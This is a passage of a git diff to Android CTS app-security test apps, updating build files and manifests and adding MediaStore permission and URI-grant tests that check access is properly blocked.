-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-Iaidl-files-under, src)
 LOCAL_SDK_VERSION := current
@@ -68,3 +66,4 @@
 
 cert_dir :=
 include $(call all-makefiles-under,$(LOCAL_PATH))
+
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp
index 6fc4ac5..e010317 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsListeningPortsTest",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
index 0badb96..8deeb76 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
@@ -73,6 +73,12 @@
         EXCEPTION_PATTERNS.add(":: 1002");          // used by remote control
         EXCEPTION_PATTERNS.add(":: 1020");          // used by remote control
         EXCEPTION_PATTERNS.add("0.0.0.0:7275");     // used by supl
+        // b/150186547 ports
+        EXCEPTION_PATTERNS.add("192.168.17.10:48881");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48896");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48897");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48898");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48899");
         //no current patterns involve address, port and UID combinations
         //Example for when necessary: EXCEPTION_PATTERNS.add("0.0.0.0:5555 10000")
 
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
index d5162f4..f1eb6bd 100644
--- a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
@@ -12,16 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLocationPolicyApp",
     defaults: ["cts_defaults"],
     libs: [
-        "android.test.runner",
-        "android.test.base",
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
     ],
     static_libs: [
         "androidx.test.rules",
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp
index 2bf1d0a..5584ba2 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMajorVersion000000000000ffff",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp
index b8d3ddc..97a1eda 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMajorVersion00000000ffffffff",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp
index 3ba2c30..98c4deb 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMajorVersion000000ff00000000",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp
index a037e79..cb9272c 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMajorVersion000000ffffffffff",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp
index e094370..fa94e20 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "CtsMajorVersionCommon",
     srcs: ["**/*.java"],
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp
index a110ce0..2cf6d92 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMediaStorageApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml
index cf69eaa..4b09ae5 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml
@@ -13,28 +13,30 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.mediastorageapp">
+     package="com.android.cts.mediastorageapp">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.cts.mediastorageapp.StubActivity">
+        <activity android:name="com.android.cts.mediastorageapp.StubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.APP_GALLERY" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.APP_GALLERY"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity" />
+        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.mediastorageapp" />
+         android:targetPackage="com.android.cts.mediastorageapp"/>
 
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest28.xml b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest28.xml
index 93e4bc7..cefd4f8 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest28.xml
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest28.xml
@@ -13,32 +13,33 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.mediastorageapp28">
+     package="com.android.cts.mediastorageapp28">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.cts.mediastorageapp.StubActivity">
+        <activity android:name="com.android.cts.mediastorageapp.StubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.APP_GALLERY" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.APP_GALLERY"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity" />
+        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.mediastorageapp28" />
+         android:targetPackage="com.android.cts.mediastorageapp28"/>
 
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
-    <uses-sdk
-        android:minSdkVersion="28"
-        android:targetSdkVersion="28" />
+    <uses-sdk android:minSdkVersion="28"
+         android:targetSdkVersion="28"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest29.xml b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest29.xml
index a73ab0e..3412e0c 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest29.xml
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest29.xml
@@ -13,32 +13,32 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.mediastorageapp29">
+     package="com.android.cts.mediastorageapp29">
 
-    <application
-        android:requestLegacyExternalStorage="true">
-        <uses-library android:name="android.test.runner" />
+    <application android:requestLegacyExternalStorage="true">
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.cts.mediastorageapp.StubActivity">
+        <activity android:name="com.android.cts.mediastorageapp.StubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.APP_GALLERY" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.APP_GALLERY"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity" />
+        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.mediastorageapp29" />
+         android:targetPackage="com.android.cts.mediastorageapp29"/>
 
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
-    <uses-sdk
-        android:minSdkVersion="29"
-        android:targetSdkVersion="29" />
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
index 0fb7678..8c4f29c 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -18,12 +18,15 @@
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.Instrumentation;
@@ -52,12 +55,16 @@
 import com.android.cts.mediastorageapp.MediaStoreUtils.PendingParams;
 import com.android.cts.mediastorageapp.MediaStoreUtils.PendingSession;
 
+import com.google.common.io.ByteStreams;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.io.FileInputStream;
 import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
@@ -90,33 +97,8 @@
     }
 
     @Test
-    public void testSandboxed() throws Exception {
-        doSandboxed(true);
-    }
-
-    @Test
-    public void testNotSandboxed() throws Exception {
-        doSandboxed(false);
-    }
-
-    @Test
-    public void testStageFiles() throws Exception {
-        final File jpg = stageFile(TEST_JPG);
-        assertTrue(jpg.exists());
-        final File pdf = stageFile(TEST_PDF);
-        assertTrue(pdf.exists());
-    }
-
-    @Test
-    public void testClearFiles() throws Exception {
-        TEST_JPG.delete();
-        assertNull(MediaStore.scanFile(mContentResolver, TEST_JPG));
-        TEST_PDF.delete();
-        assertNull(MediaStore.scanFile(mContentResolver, TEST_PDF));
-    }
-
-    private void doSandboxed(boolean sandboxed) throws Exception {
-        assertEquals(!sandboxed, Environment.isExternalStorageLegacy());
+    public void testLegacy() throws Exception {
+        assertTrue(Environment.isExternalStorageLegacy());
 
         // We can always see mounted state
         assertEquals(Environment.MEDIA_MOUNTED, Environment.getExternalStorageState());
@@ -124,10 +106,8 @@
         // We might have top-level access
         final File probe = new File(Environment.getExternalStorageDirectory(),
                 "cts" + System.nanoTime());
-        if (!sandboxed) {
-            assertTrue(probe.createNewFile());
-            assertNotNull(Environment.getExternalStorageDirectory().list());
-        }
+        assertTrue(probe.createNewFile());
+        assertNotNull(Environment.getExternalStorageDirectory().list());
 
         // We always have our package directories
         final File probePackage = new File(mContext.getExternalFilesDir(null),
@@ -149,15 +129,24 @@
             }
         }
 
-        if (sandboxed) {
-            // If we're sandboxed, we should only see the image
-            assertTrue(seen.contains(ContentUris.parseId(jpgUri)));
-            assertFalse(seen.contains(ContentUris.parseId(pdfUri)));
-        } else {
-            // If we're not sandboxed, we should see both
-            assertTrue(seen.contains(ContentUris.parseId(jpgUri)));
-            assertTrue(seen.contains(ContentUris.parseId(pdfUri)));
-        }
+        assertTrue(seen.contains(ContentUris.parseId(jpgUri)));
+        assertTrue(seen.contains(ContentUris.parseId(pdfUri)));
+    }
+
+    @Test
+    public void testStageFiles() throws Exception {
+        final File jpg = stageFile(TEST_JPG);
+        assertTrue(jpg.exists());
+        final File pdf = stageFile(TEST_PDF);
+        assertTrue(pdf.exists());
+    }
+
+    @Test
+    public void testClearFiles() throws Exception {
+        TEST_JPG.delete();
+        assertNull(MediaStore.scanFile(mContentResolver, TEST_JPG));
+        TEST_PDF.delete();
+        assertNull(MediaStore.scanFile(mContentResolver, TEST_PDF));
     }
 
     @Test
@@ -211,6 +200,59 @@
             fail("Expected write access to be blocked");
         } catch (SecurityException | FileNotFoundException expected) {
         }
+
+        // Verify that we can't grant ourselves access
+        for (int flag : new int[] {
+                Intent.FLAG_GRANT_READ_URI_PERMISSION,
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+        }) {
+            try {
+                mContext.grantUriPermission(mContext.getPackageName(), blue, flag);
+                fail("Expected granting to be blocked for flag 0x" + Integer.toHexString(flag));
+            } catch (SecurityException expected) {
+            }
+        }
+    }
+
+    /**
+     * Test prefix and non-prefix uri grant for all packages
+     */
+    @Test
+    public void testGrantUriPermission() {
+        final int flagGrantRead = Intent.FLAG_GRANT_READ_URI_PERMISSION;
+        final int flagGrantWrite = Intent.FLAG_GRANT_WRITE_URI_PERMISSION;
+        final int flagGrantReadPrefix =
+                Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION;
+        final int flagGrantWritePrefix =
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION;
+
+        for (Uri uri : new Uri[] {
+                MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
+                MediaStore.Video.Media.EXTERNAL_CONTENT_URI,
+                MediaStore.Audio.Media.EXTERNAL_CONTENT_URI,
+                MediaStore.Downloads.EXTERNAL_CONTENT_URI,
+                MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL)
+        }) {
+            // Non-prefix grant
+            checkGrantUriPermission(uri, flagGrantRead, true);
+            checkGrantUriPermission(uri, flagGrantWrite, true);
+
+            // Prefix grant
+            checkGrantUriPermission(uri, flagGrantReadPrefix, false);
+            checkGrantUriPermission(uri, flagGrantWritePrefix, false);
+        }
+    }
+
+    private void checkGrantUriPermission(Uri uri, int mode, boolean isGrantAllowed) {
+        if (isGrantAllowed) {
+            mContext.grantUriPermission(mContext.getPackageName(), uri, mode);
+        } else {
+            try {
+                mContext.grantUriPermission(mContext.getPackageName(), uri, mode);
+                fail("Expected granting to be blocked for flag 0x" + Integer.toHexString(mode));
+            } catch (SecurityException expected) {
+            }
+        }
     }
 
     @Test
@@ -364,10 +406,87 @@
     }
 
     @Test
+    public void testMediaEscalation_RequestWriteFilePathSupport() throws Exception {
+        doMediaEscalation_RequestWrite_withFilePathSupport(MediaStorageTest::createAudio);
+        doMediaEscalation_RequestWrite_withFilePathSupport(MediaStorageTest::createVideo);
+        doMediaEscalation_RequestWrite_withFilePathSupport(MediaStorageTest::createImage);
+        doMediaEscalation_RequestWrite_withFilePathSupport(MediaStorageTest::createPlaylist);
+        doMediaEscalation_RequestWrite_withFilePathSupport(MediaStorageTest::createSubtitle);
+    }
+
+    private void doMediaEscalation_RequestWrite_withFilePathSupport(
+            Callable<Uri> create) throws Exception {
+        final Uri red = create.call();
+        assertNotNull(red);
+        String path = queryForSingleColumn(red, MediaColumns.DATA);
+        File file = new File(path);
+        assertThat(file.exists()).isTrue();
+        assertThat(file.canRead()).isTrue();
+        assertThat(file.canWrite()).isTrue();
+
+        clearMediaOwner(red, mUserId);
+        assertThat(file.canWrite()).isFalse();
+
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "w")) {
+            fail("Expected write access to be blocked");
+        } catch (SecurityException expected) {
+        }
+
+        doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(red)));
+
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "w")) {
+        }
+
+        // Check File API support
+        assertAccessFileAPISupport(file);
+        assertReadWriteFileAPISupport(file);
+        assertRenameFileAPISupport(file);
+        assertDeleteFileAPISupport(file);
+    }
+
+    private void assertAccessFileAPISupport(File file) throws Exception {
+        assertThat(file.canRead()).isTrue();
+        assertThat(file.canWrite()).isTrue();
+    }
+
+    private void assertReadWriteFileAPISupport(File file) throws Exception {
+        final String str = "Just some random text";
+        final byte[] bytes = str.getBytes();
+        // Write to file
+        try (FileOutputStream fos = new FileOutputStream(file)) {
+            fos.write(bytes);
+        }
+        // Read the same data from file
+        try (FileInputStream fis = new FileInputStream(file)) {
+            assertThat(ByteStreams.toByteArray(fis)).isEqualTo(bytes);
+        }
+    }
+
+    public void assertRenameFileAPISupport(File oldFile) throws Exception {
+        final String oldName = oldFile.getAbsolutePath();
+        final String extension = oldName.substring(oldName.lastIndexOf('.')).trim();
+        // TODO(b/178816495): Changing the extension changes the media-type and hence the media-URI
+        // corresponding to the new file is not accessible to the caller. Rename to the same
+        // extension so that the test app does not lose access and is able to delete the file.
+        final String newName = "cts" + System.nanoTime() + extension;
+        final File newFile = Environment.buildPath(Environment.getExternalStorageDirectory(),
+                Environment.DIRECTORY_DOWNLOADS, newName);
+        assertThat(oldFile.renameTo(newFile)).isTrue();
+        // Rename back to oldFile for other ops like delete
+        assertThat(newFile.renameTo(oldFile)).isTrue();
+    }
+
+    private void assertDeleteFileAPISupport(File file) throws Exception {
+        assertThat(file.delete()).isTrue();
+    }
+
+    @Test
     public void testMediaEscalation_RequestWrite() throws Exception {
         doMediaEscalation_RequestWrite(MediaStorageTest::createAudio);
         doMediaEscalation_RequestWrite(MediaStorageTest::createVideo);
         doMediaEscalation_RequestWrite(MediaStorageTest::createImage);
+        doMediaEscalation_RequestWrite(MediaStorageTest::createPlaylist);
+        doMediaEscalation_RequestWrite(MediaStorageTest::createSubtitle);
     }
 
     private void doMediaEscalation_RequestWrite(Callable<Uri> create) throws Exception {
@@ -376,7 +495,7 @@
 
         try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "w")) {
             fail("Expected write access to be blocked");
-        } catch (RecoverableSecurityException expected) {
+        } catch (SecurityException expected) {
         }
 
         doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(red)));
@@ -390,6 +509,8 @@
         doMediaEscalation_RequestTrash(MediaStorageTest::createAudio);
         doMediaEscalation_RequestTrash(MediaStorageTest::createVideo);
         doMediaEscalation_RequestTrash(MediaStorageTest::createImage);
+        doMediaEscalation_RequestTrash(MediaStorageTest::createPlaylist);
+        doMediaEscalation_RequestTrash(MediaStorageTest::createSubtitle);
     }
 
     private void doMediaEscalation_RequestTrash(Callable<Uri> create) throws Exception {
@@ -408,6 +529,8 @@
         doMediaEscalation_RequestFavorite(MediaStorageTest::createAudio);
         doMediaEscalation_RequestFavorite(MediaStorageTest::createVideo);
         doMediaEscalation_RequestFavorite(MediaStorageTest::createImage);
+        doMediaEscalation_RequestFavorite(MediaStorageTest::createPlaylist);
+        doMediaEscalation_RequestFavorite(MediaStorageTest::createSubtitle);
     }
 
     private void doMediaEscalation_RequestFavorite(Callable<Uri> create) throws Exception {
@@ -426,6 +549,8 @@
         doMediaEscalation_RequestDelete(MediaStorageTest::createAudio);
         doMediaEscalation_RequestDelete(MediaStorageTest::createVideo);
         doMediaEscalation_RequestDelete(MediaStorageTest::createImage);
+        doMediaEscalation_RequestDelete(MediaStorageTest::createPlaylist);
+        doMediaEscalation_RequestDelete(MediaStorageTest::createSubtitle);
     }
 
     private void doMediaEscalation_RequestDelete(Callable<Uri> create) throws Exception {
@@ -520,6 +645,33 @@
         }
     }
 
+    private static Uri createPlaylist() throws IOException {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI, displayName, "audio/mpegurl");
+        final Uri pendingUri = MediaStoreUtils.createPending(context, params);
+        try (PendingSession session = MediaStoreUtils.openPending(context, pendingUri)) {
+            return session.publish();
+        }
+    }
+
+    private static Uri createSubtitle() throws IOException {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL), displayName,
+                "application/x-subrip");
+        final Uri pendingUri = MediaStoreUtils.createPending(context, params);
+        try (PendingSession session = MediaStoreUtils.openPending(context, pendingUri)) {
+            try (InputStream in = context.getResources().getAssets().open("testmp3.mp3");
+                 OutputStream out = session.openOutputStream()) {
+                 FileUtils.copy(in, out);
+            }
+            return session.publish();
+        }
+    }
+
     private static String queryForSingleColumn(Uri uri, String column) throws Exception {
         final ContentResolver resolver = InstrumentationRegistry.getTargetContext()
                 .getContentResolver();
@@ -538,7 +690,7 @@
     }
 
     static File stageFile(File file) throws Exception {
-        // Sometimes file creation fails due to slow permission update, try more times 
+        // Sometimes file creation fails due to slow permission update, try more times
         while(currentAttempt < MAX_NUMBER_OF_ATTEMPT) {
             try {
                 file.getParentFile().mkdirs();
@@ -549,7 +701,7 @@
                 // wait 500ms
                 Thread.sleep(500);
             }
-        } 
+        }
         throw new TimeoutException("File creation failed due to slow permission update");
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp
index 0ec98cb..dd59913 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMultiUserStorageApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp
index 6368312..92fc9c3 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsNoRestartBase",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
index c7550e0..366bc92 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
@@ -13,32 +13,32 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    package="com.android.cts.norestart"
-    android:targetSandboxVersion="2"
-    tools:ignore="MissingVersion" >
 
-    <application
-        tools:ignore="AllowBackup,MissingApplicationIcon" >
-        <activity
-            android:name=".NoRestartActivity"
-            android:launchMode="singleTop" >
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.norestart"
+     android:targetSandboxVersion="2"
+     tools:ignore="MissingVersion">
+
+    <application tools:ignore="AllowBackup,MissingApplicationIcon">
+        <activity android:name=".NoRestartActivity"
+             android:launchMode="singleTop"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.norestart.START" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.norestart.START"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="https" />
-                <data android:host="cts.android.com" />
-                <data android:path="/norestart" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.android.com"/>
+                <data android:path="/norestart"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
             </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING
new file mode 100644
index 0000000..bc9dc3c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.SplitTests"
+        }
+      ]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp
index 0baacdb..22dc85c 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp
